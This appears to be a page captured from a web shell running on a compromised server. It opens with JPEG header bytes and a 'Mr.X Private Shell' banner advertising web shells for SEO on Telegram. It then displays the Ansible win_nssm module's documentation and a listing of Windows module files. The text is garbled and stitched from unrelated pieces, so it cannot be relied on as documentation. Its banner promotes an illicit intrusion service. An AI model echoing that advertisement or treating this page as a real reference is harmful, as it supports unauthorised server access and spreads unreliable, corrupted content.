����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright: (c) 2015, Heyo
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
DOCUMENTATION = r'''
---
module: win_nssm
short_description: Install a service using NSSM
description:
- Install a Windows service using the NSSM wrapper.
- NSSM is a service helper which doesn't suck. See U(https://nssm.cc/) for more information.
requirements:
- "nssm >= 2.24.0 # (install via M(chocolatey.chocolatey.win_chocolatey)) C(win_chocolatey: name=nssm)"
options:
name:
description:
- Name of the service to operate on.
type: str
required: true
state:
description:
- State of the service on the system.
type: str
choices: [ absent, present, started, stopped, restarted ]
default: present
application:
description:
- The application binary to run as a service
- Required when I(state) is C(present), C(started), C(stopped), or C(restarted).
type: path
executable:
description:
- The location of the NSSM utility (in case it is not located in your PATH).
type: path
default: nssm.exe
description:
description:
- The description to set for the service.
type: str
display_name:
description:
- The display name to set for the service.
type: str
working_directory:
description:
- The working directory to run the service executable from (defaults to the directory containing the application binary)
type: path
aliases: [ app_directory, chdir ]
stdout_file:
description:
- Path to receive output.
type: path
stderr_file:
description:
- Path to receive error output.
type: path
app_parameters:
description:
- A string representing a dictionary of parameters to be passed to the application when it starts.
- DEPRECATED since v2.8, please use I(arguments) instead.
- This is mutually exclusive with I(arguments).
type: str
arguments:
description:
- Parameters to be passed to the application when it starts.
- This can be either a simple string or a list.
- This is mutually exclusive with I(app_parameters).
aliases: [ app_parameters_free_form ]
type: str
dependencies:
description:
- Service dependencies that has to be started to trigger startup, separated by comma.
type: list
elements: str
username:
description:
- User to be used for service startup.
- Group managed service accounts must end with C($).
- Before C(1.8.0), this parameter was just C(user).
type: str
aliases:
- user
password:
description:
- Password to be used for service startup.
- This is not required for the well known service accounts and group managed service accounts.
type: str
start_mode:
description:
- If C(auto) is selected, the service will start at bootup.
- C(delayed) causes a delayed but automatic start after boot.
- C(manual) means that the service will start only when another service needs it.
- C(disabled) means that the service will stay off, regardless if it is needed or not.
type: str
choices: [ auto, delayed, disabled, manual ]
default: auto
app_environment:
description:
- Key/Value pairs which will be added to the environment of the service application.
type: dict
version_added: 1.2.0
app_rotate_bytes:
description:
- NSSM will not rotate any file which is smaller than the configured number of bytes.
type: int
default: 104858
app_rotate_online:
description:
- If set to 1, nssm can rotate files which grow to the configured file size limit while the service is running.
type: int
choices:
- 0
- 1
default: 0
app_stop_method_console:
description:
- Time to wait after sending Control-C.
type: int
app_stop_method_skip:
description:
- To disable service shutdown methods, set to the sum of one or more of the numbers
- 1 - Don't send Control-C to the console.
- 2 - Don't send WM_CLOSE to windows.
- 4 - Don't send WM_QUIT to threads.
- 8 - Don't call TerminateProcess().
type: int
choices:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
seealso:
- module: ansible.windows.win_service
notes:
- The service will NOT be started after its creation when C(state=present).
- Once the service is created, you can use the M(ansible.windows.win_service) module to start it or configure
some additionals properties, such as its startup type, dependencies, service account, and so on.
author:
- Adam Keech (@smadam813)
- George Frank (@georgefrank)
- Hans-Joachim Kliemeck (@h0nIg)
- Michael Wild (@themiwi)
- Kevin Subileau (@ksubileau)
- Shachaf Goldstein (@Shachaf92)
'''
EXAMPLES = r'''
- name: Install the foo service
community.windows.win_nssm:
name: foo
application: C:\windows\foo.exe
# This will yield the following command: C:\windows\foo.exe bar "true"
- name: Install the Consul service with a list of parameters
community.windows.win_nssm:
name: Consul
application: C:\consul\consul.exe
arguments:
- agent
- -config-dir=C:\consul\config
# This is strictly equivalent to the previous example
- name: Install the Consul service with an arbitrary string of parameters
community.windows.win_nssm:
name: Consul
application: C:\consul\consul.exe
arguments: agent -config-dir=C:\consul\config
# Install the foo service, and then configure and start it with win_service
- name: Install the foo service, redirecting stdout and stderr to the same file
community.windows.win_nssm:
name: foo
application: C:\windows\foo.exe
stdout_file: C:\windows\foo.log
stderr_file: C:\windows\foo.log
- name: Configure and start the foo service using win_service
ansible.windows.win_service:
name: foo
dependencies: [ adf, tcpip ]
username: foouser
password: secret
start_mode: manual
state: started
- name: Install a script based service and define custom environment variables
community.windows.win_nssm:
name: <ServiceName>
application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
arguments:
- <path-to-script>
- <script arg>
app_environment:
AUTH_TOKEN: <token value>
SERVER_URL: https://example.com
PATH: "<path-prepends>;{{ ansible_env.PATH }};<path-appends>"
- name: Remove the foo service
community.windows.win_nssm:
name: foo
state: absent
'''
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| psexec.py | File | 18.61 KB | 0644 |
|
| win_audit_policy_system.ps1 | File | 5.15 KB | 0644 |
|
| win_audit_policy_system.py | File | 2.11 KB | 0644 |
|
| win_audit_rule.ps1 | File | 6.66 KB | 0644 |
|
| win_audit_rule.py | File | 4.71 KB | 0644 |
|
| win_auto_logon.ps1 | File | 13.93 KB | 0644 |
|
| win_auto_logon.py | File | 1.99 KB | 0644 |
|
| win_certificate_info.ps1 | File | 4.98 KB | 0644 |
|
| win_certificate_info.py | File | 7.73 KB | 0644 |
|
| win_computer_description.ps1 | File | 1.82 KB | 0644 |
|
| win_computer_description.py | File | 1.67 KB | 0644 |
|
| win_credential.ps1 | File | 28.41 KB | 0644 |
|
| win_credential.py | File | 6.72 KB | 0644 |
|
| win_data_deduplication.ps1 | File | 3.93 KB | 0644 |
|
| win_data_deduplication.py | File | 2.4 KB | 0644 |
|
| win_defrag.ps1 | File | 2.6 KB | 0644 |
|
| win_defrag.py | File | 2.59 KB | 0644 |
|
| win_dhcp_lease.ps1 | File | 14.15 KB | 0644 |
|
| win_dhcp_lease.py | File | 4.18 KB | 0644 |
|
| win_disk_facts.ps1 | File | 13.22 KB | 0644 |
|
| win_disk_facts.py | File | 46.9 KB | 0644 |
|
| win_disk_image.ps1 | File | 2.63 KB | 0644 |
|
| win_disk_image.py | File | 1.67 KB | 0644 |
|
| win_dns_record.ps1 | File | 8.35 KB | 0644 |
|
| win_dns_record.py | File | 5.1 KB | 0644 |
|
| win_dns_zone.ps1 | File | 11.84 KB | 0644 |
|
| win_dns_zone.py | File | 5.39 KB | 0644 |
|
| win_domain_computer.ps1 | File | 11.06 KB | 0644 |
|
| win_domain_computer.py | File | 8.71 KB | 0644 |
|
| win_domain_group.ps1 | File | 14.9 KB | 0644 |
|
| win_domain_group.py | File | 7.28 KB | 0644 |
|
| win_domain_group_membership.ps1 | File | 5.1 KB | 0644 |
|
| win_domain_group_membership.py | File | 3.9 KB | 0644 |
|
| win_domain_object_info.ps1 | File | 10.84 KB | 0644 |
|
| win_domain_object_info.py | File | 6.64 KB | 0644 |
|
| win_domain_ou.ps1 | File | 8.55 KB | 0644 |
|
| win_domain_ou.py | File | 4.97 KB | 0644 |
|
| win_domain_user.ps1 | File | 21.13 KB | 0644 |
|
| win_domain_user.py | File | 14.23 KB | 0644 |
|
| win_dotnet_ngen.ps1 | File | 2.09 KB | 0644 |
|
| win_dotnet_ngen.py | File | 2.74 KB | 0644 |
|
| win_eventlog.ps1 | File | 10.82 KB | 0644 |
|
| win_eventlog.py | File | 4.82 KB | 0644 |
|
| win_eventlog_entry.ps1 | File | 2.96 KB | 0644 |
|
| win_eventlog_entry.py | File | 2.04 KB | 0644 |
|
| win_feature_info.ps1 | File | 1.46 KB | 0644 |
|
| win_feature_info.py | File | 4.6 KB | 0644 |
|
| win_file_compression.ps1 | File | 4.11 KB | 0644 |
|
| win_file_compression.py | File | 3.05 KB | 0644 |
|
| win_file_version.ps1 | File | 2.11 KB | 0644 |
|
| win_file_version.py | File | 1.46 KB | 0644 |
|
| win_firewall.ps1 | File | 3.6 KB | 0644 |
|
| win_firewall.py | File | 2.24 KB | 0644 |
|
| win_firewall_rule.ps1 | File | 14.66 KB | 0644 |
|
| win_firewall_rule.py | File | 5.55 KB | 0644 |
|
| win_format.ps1 | File | 7.44 KB | 0644 |
|
| win_format.py | File | 3.46 KB | 0644 |
|
| win_hosts.ps1 | File | 9.75 KB | 0644 |
|
| win_hosts.py | File | 3.77 KB | 0644 |
|
| win_hotfix.ps1 | File | 9.59 KB | 0644 |
|
| win_hotfix.py | File | 4.72 KB | 0644 |
|
| win_http_proxy.ps1 | File | 9 KB | 0644 |
|
| win_http_proxy.py | File | 3.37 KB | 0644 |
|
| win_iis_virtualdirectory.ps1 | File | 4.55 KB | 0644 |
|
| win_iis_virtualdirectory.py | File | 2.91 KB | 0644 |
|
| win_iis_webapplication.ps1 | File | 5.33 KB | 0644 |
|
| win_iis_webapplication.py | File | 2.74 KB | 0644 |
|
| win_iis_webapppool.ps1 | File | 12.36 KB | 0644 |
|
| win_iis_webapppool.py | File | 7.03 KB | 0644 |
|
| win_iis_webbinding.ps1 | File | 13.49 KB | 0644 |
|
| win_iis_webbinding.py | File | 3.91 KB | 0644 |
|
| win_iis_website.ps1 | File | 5.84 KB | 0644 |
|
| win_iis_website.py | File | 4.15 KB | 0644 |
|
| win_inet_proxy.ps1 | File | 19.09 KB | 0644 |
|
| win_inet_proxy.py | File | 5.95 KB | 0644 |
|
| win_initialize_disk.ps1 | File | 4.4 KB | 0644 |
|
| win_initialize_disk.py | File | 2.12 KB | 0644 |
|
| win_lineinfile.ps1 | File | 14.75 KB | 0644 |
|
| win_lineinfile.py | File | 6.88 KB | 0644 |
|
| win_listen_ports_facts.ps1 | File | 2.39 KB | 0644 |
|
| win_listen_ports_facts.py | File | 2.88 KB | 0644 |
|
| win_mapped_drive.ps1 | File | 17.09 KB | 0644 |
|
| win_mapped_drive.py | File | 5.19 KB | 0644 |
|
| win_msg.ps1 | File | 1.48 KB | 0644 |
|
| win_msg.py | File | 2.83 KB | 0644 |
|
| win_net_adapter_feature.ps1 | File | 2.33 KB | 0644 |
|
| win_net_adapter_feature.py | File | 2.01 KB | 0644 |
|
| win_netbios.ps1 | File | 2.6 KB | 0644 |
|
| win_netbios.py | File | 1.99 KB | 0644 |
|
| win_nssm.ps1 | File | 21.52 KB | 0644 |
|
| win_nssm.py | File | 6.53 KB | 0644 |
|
| win_pagefile.ps1 | File | 8.7 KB | 0644 |
|
| win_pagefile.py | File | 3.78 KB | 0644 |
|
| win_partition.ps1 | File | 12.07 KB | 0644 |
|
| win_partition.py | File | 4.44 KB | 0644 |
|
| win_pester.ps1 | File | 3.6 KB | 0644 |
|
| win_pester.py | File | 2.91 KB | 0644 |
|
| win_power_plan.ps1 | File | 7.28 KB | 0644 |
|
| win_power_plan.py | File | 1.94 KB | 0644 |
|
| win_product_facts.ps1 | File | 3.23 KB | 0644 |
|
| win_product_facts.py | File | 1.57 KB | 0644 |
|
| win_psexec.ps1 | File | 4.33 KB | 0644 |
|
| win_psexec.py | File | 4.7 KB | 0644 |
|
| win_psmodule.ps1 | File | 20.01 KB | 0644 |
|
| win_psmodule.py | File | 5.87 KB | 0644 |
|
| win_psmodule_info.ps1 | File | 11.51 KB | 0644 |
|
| win_psmodule_info.py | File | 14.31 KB | 0644 |
|
| win_psrepository.ps1 | File | 6.95 KB | 0644 |
|
| win_psrepository.py | File | 5.72 KB | 0644 |
|
| win_psrepository_copy.ps1 | File | 6.45 KB | 0644 |
|
| win_psrepository_copy.py | File | 5.51 KB | 0644 |
|
| win_psrepository_info.ps1 | File | 2.09 KB | 0644 |
|
| win_psrepository_info.py | File | 3.07 KB | 0644 |
|
| win_psscript.ps1 | File | 6.02 KB | 0644 |
|
| win_psscript.py | File | 3.76 KB | 0644 |
|
| win_psscript_info.ps1 | File | 3.78 KB | 0644 |
|
| win_psscript_info.py | File | 6.36 KB | 0644 |
|
| win_pssession_configuration.ps1 | File | 22.56 KB | 0644 |
|
| win_pssession_configuration.py | File | 14.37 KB | 0644 |
|
| win_rabbitmq_plugin.ps1 | File | 5.05 KB | 0644 |
|
| win_rabbitmq_plugin.py | File | 1.29 KB | 0644 |
|
| win_rds_cap.ps1 | File | 17.3 KB | 0644 |
|
| win_rds_cap.py | File | 4.07 KB | 0644 |
|
| win_rds_rap.ps1 | File | 12.53 KB | 0644 |
|
| win_rds_rap.py | File | 2.92 KB | 0644 |
|
| win_rds_settings.ps1 | File | 4.28 KB | 0644 |
|
| win_rds_settings.py | File | 1.75 KB | 0644 |
|
| win_region.ps1 | File | 17.22 KB | 0644 |
|
| win_region.py | File | 3.19 KB | 0644 |
|
| win_regmerge.ps1 | File | 3.27 KB | 0644 |
|
| win_regmerge.py | File | 3.09 KB | 0644 |
|
| win_robocopy.ps1 | File | 4.09 KB | 0644 |
|
| win_robocopy.py | File | 4.23 KB | 0644 |
|
| win_route.ps1 | File | 3.08 KB | 0644 |
|
| win_route.py | File | 1.43 KB | 0644 |
|
| win_say.ps1 | File | 3.27 KB | 0644 |
|
| win_say.py | File | 3.87 KB | 0644 |
|
| win_scheduled_task.ps1 | File | 52.41 KB | 0644 |
|
| win_scheduled_task.py | File | 18.89 KB | 0644 |
|
| win_scheduled_task_stat.ps1 | File | 13.08 KB | 0644 |
|
| win_scheduled_task_stat.py | File | 10.02 KB | 0644 |
|
| win_scoop.ps1 | File | 10.01 KB | 0644 |
|
| win_scoop.py | File | 1.91 KB | 0644 |
|
| win_scoop_bucket.ps1 | File | 3.36 KB | 0644 |
|
| win_scoop_bucket.py | File | 1.74 KB | 0644 |
|
| win_security_policy.ps1 | File | 7.6 KB | 0644 |
|
| win_security_policy.py | File | 3.6 KB | 0644 |
|
| win_shortcut.ps1 | File | 13.56 KB | 0644 |
|
| win_shortcut.py | File | 3.77 KB | 0644 |
|
| win_snmp.ps1 | File | 4.75 KB | 0644 |
|
| win_snmp.py | File | 1.8 KB | 0644 |
|
| win_timezone.ps1 | File | 2.28 KB | 0644 |
|
| win_timezone.py | File | 1.96 KB | 0644 |
|
| win_toast.ps1 | File | 3.45 KB | 0644 |
|
| win_toast.py | File | 2.99 KB | 0644 |
|
| win_unzip.ps1 | File | 7.11 KB | 0644 |
|
| win_unzip.py | File | 3.67 KB | 0644 |
|
| win_user_profile.ps1 | File | 6.77 KB | 0644 |
|
| win_user_profile.py | File | 3.54 KB | 0644 |
|
| win_wait_for_process.ps1 | File | 5.64 KB | 0644 |
|
| win_wait_for_process.py | File | 3.84 KB | 0644 |
|
| win_wakeonlan.ps1 | File | 1.42 KB | 0644 |
|
| win_wakeonlan.py | File | 1.62 KB | 0644 |
|
| win_webpicmd.ps1 | File | 2.32 KB | 0644 |
|
| win_webpicmd.py | File | 1.19 KB | 0644 |
|
| win_xml.ps1 | File | 10.39 KB | 0644 |
|
| win_xml.py | File | 4.33 KB | 0644 |
|
| win_zip.ps1 | File | 2.54 KB | 0644 |
|
| win_zip.py | File | 1.53 KB | 0644 |
|